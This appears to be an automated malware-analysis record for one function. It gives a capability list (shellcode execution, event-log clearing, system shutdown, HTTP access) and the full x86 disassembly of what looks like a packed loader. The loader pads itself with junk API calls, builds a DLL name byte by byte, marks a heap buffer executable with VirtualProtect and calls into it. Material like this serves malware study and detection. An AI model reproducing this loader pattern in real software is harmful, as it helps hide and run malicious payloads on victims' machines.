Function at 0x413aa0
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Create directory
Create pipe
Delete file
Enumerate files on windows
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Initialize winhttp library
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Receive http response
Resolve function by parsing pe exports
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4db0
call fcn.00411960
push ebx
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor ebx, ebx
xor esi, esi
cmp esi, 0x2d1ba
jge 0x413acf
push ebx
push ebx
push ebx
call edi
cmp dword [0x7b446c], 0x6fb
jne 0x413ae4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9c80c8
jle 0x413b01
cmp ebp, 0xc0be5a
je 0x413b01
cmp dword [esp + 0x84], 0x9250f50
jne 0x413b0c
inc esi
cmp esi, 0x8a8ec
jl 0x413ac2
jmp 0x413b2a
cmp dword [0x7b446c], 0x28
jne 0x413b2a
push 0x404090
push 0x4040ac
push 0x4040bc
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b446c], 0xcf8
jne 0x413bbd
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DrawCaption]
lea eax, [esp + 0x28]
push eax
push ebx
push 0x4040e0
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x7b446c], 0x3a
jne 0x413b86
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea ecx, [esp + 0x1c0]
push ecx
push ebx
push 0x404128
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov edx, dword [esp + 0x10]
push ebx
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
push ebx
push ebx
call fcn.00411e8a
add esp, 8
lea eax, [esp + 0xa0]
push eax
call fcn.00405e50
push ebx
call fcn.00407f9e
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
xor ecx, ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x408
jne 0x413be8
mov eax, 0x5d1
add dword [0x7b446c], eax
cmp dword [0x7b446c], 3
jne 0x413c24
push ebx
push ebx
push ebx
call esi
lea eax, [esp + 0x10]
push eax
xor ecx, ecx
push ecx
push ebx
push 0x404190
push ebx
mov dword [esp + 0x30], ecx
call edi
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
lea edx, [esp + 0x1c8]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x1518d4
jl 0x413bd5
mov eax, dword [0x7b446c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4354bc], eax
mov eax, dword [0x7b446c]
xor esi, esi
cmp eax, ebx
jbe 0x413d05
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov edi, edi
cmp eax, 0xfe
jne 0x413cc5
push ebx
lea ecx, [esp + 0x15c4]
push ecx
call ebp
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
lea ecx, [esp + 0x10]
push ecx
xor edx, edx
push edx
push ebx
lea eax, [esp + 0x9cc]
push eax
push ebx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push ebx
push ebx
call edi
lea ecx, [esp + 0x28]
push ecx
xor eax, eax
lea edx, [esp + 0x60]
push edx
push 0x404114
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.00413570
mov eax, dword [0x7b446c]
cmp eax, 0x29
jne 0x413cfc
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ebx
push ebx
lea eax, [esp + 0x1c8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
push ebx
call edi
mov eax, dword [0x7b446c]
inc esi
cmp esi, eax
jb 0x413c60
cmp eax, 0x70
jne 0x413eb3
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea ecx, [esp + 0x10]
push ecx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea edx, [esp + 0x1c0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push ebx
push 0x4041a0
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x4041e4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [esp + 0x15c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea ecx, [esp + 0x25c4]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push ebx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push ebx
lea edx, [esp + 0x11c4]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll__hread]
push ebx
push 0x404218
push 0x404224
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
push 0x404230
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea ecx, [esp + 0x1c]
push ecx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov esi, dword [sym.imp.KERNEL32.dll__lread]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
lea edx, [esp + 0x20]
push edx
push ebx
lea eax, [esp + 0x64]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0x404244
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
xor eax, eax
lea edx, [esp + 0x28]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push edx
lea eax, [esp + 0x7c]
push eax
push 0x40424c
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push ebx
lea ecx, [esp + 0x9c4]
push ecx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0x40425c
lea edx, [esp + 0x5c4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [esp + 0x10], 0x9682ab
lea ecx, [ecx]
cmp eax, 3
jne 0x413efd
push 0x404508
push ebx
lea eax, [esp + 0x5c8]
push eax
push 0x4042ec
push 0x404568
push 0x40439c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x7b446c]
cmp eax, 0xdf
jne 0x414172
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
xor ecx, ecx
push ebx
mov eax, ecx
push eax
push eax
push ebx
push ebx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0x40445c
call edi
push ebx
push 0x4045c8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea edx, [esp + 0x44]
push edx
push ebx
lea eax, [esp + 0x29c8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push ebx
push 0x404618
push 0x4044dc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0x4045c4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ecx, [esp + 0x5c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll__lread]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
push 0x404690
push 0x4046b0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push ebx
call ebp
push ebx
lea edx, [esp + 0x11c4]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x4c]
push ecx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push ebx
lea edx, [esp + 0x25c4]
push edx
push 0x404710
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
xor eax, eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x7c]
push ecx
push ebx
mov dword [esp + 0x68], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea eax, [esp + 0x1c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
push ebx
lea ecx, [esp + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
lea edx, [esp + 0x49c4]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0x404740
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
lea eax, [esp + 0x41c4]
push eax
push 0x40475c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea ecx, [esp + 0x31c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push ebx
lea edx, [esp + 0x9c4]
push edx
push 0x404778
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_TlsFree]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x40479c
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
push 0x4047d8
call edi
lea eax, [esp + 0x1c]
push eax
push ebx
push 0x404830
push ebx
call esi
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push ebx
lea ecx, [esp + 0x15c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea edx, [esp + 0x50]
push edx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push ebx
lea eax, [esp + 0x39c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x1dc0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7b446c]
dec dword [esp + 0x10]
jne 0x413ed0
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [esp + 0x10], 0x25887
jmp 0x4141a0
mov dword [0x7b4468], 0xabebc05c
cmp eax, 0x222
jne 0x4141d3
push 0x4048c8
call esi
push ebx
lea edx, [esp + 0x1dc4]
push edx
call edi
push ebx
call ebp
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, dword [0x7b446c]
dec dword [esp + 0x10]
jne 0x4141a0
mov edx, dword [0x4354bc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x430728], bl
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00413890
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebp, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
xor esi, esi
jmp 0x414210
cmp dword [0x7b446c], 0xba
jne 0x414249
lea eax, [esp + 0x18]
push eax
call edi
push ebx
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea ecx, [esp + 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push 0x4047a4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x41426a
mov eax, 0x4de2
add dword [0x4354bc], eax
inc esi
cmp esi, 0x1605a
jl 0x414210
mov esi, dword [sym.imp.KERNEL32.dll__llseek]
mov edi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov dword [esp + 0x10], 0x1e6dcb
lea ecx, [ecx]
cmp dword [0x7b446c], 0x85
jne 0x4142fc
push ebx
call edi
push ebx
call ebp
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SleepEx]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
push ebx
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
push ebx
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
dec dword [esp + 0x10]
jne 0x414290
mov eax, 0x6d
mov word [0x7b4476], ax
mov eax, 0x6c
mov word [0x7b4484], ax
mov edx, 0x69
xor eax, eax
push 0x7b4470
mov dword [0x7b4480], 0x6c0064
mov dword [0x7b447c], 0x2e0032
mov word [0x7b4474], dx
mov dword [0x7b4470], 0x73006d
mov word [0x7b4486], ax
mov dword [0x7b4478], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b4472], dx
mov word [0x7b4476], ax
xor eax, eax
cmp dword [0x7b446c], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b447a], cx
mov word [0x7b4486], ax
mov word [0x7b4478], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b4480], 0x6c0064
mov word [0x7b4474], ax
mov word [0x7b4470], cx
mov word [0x7b4484], dx
mov dword [0x7b447c], 0x2e0032
jne 0x4144be
mov edx, dword [esp + 0x18]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x1c0]
push eax
push 0x40488c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
push ebx
lea edx, [esp + 0x48]
push edx
push ebx
lea eax, [esp + 0x15cc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea ecx, [esp + 0x1dc4]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x4048a4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
lea eax, [esp + 0x9c4]
push eax
push 0x404908
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404928
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret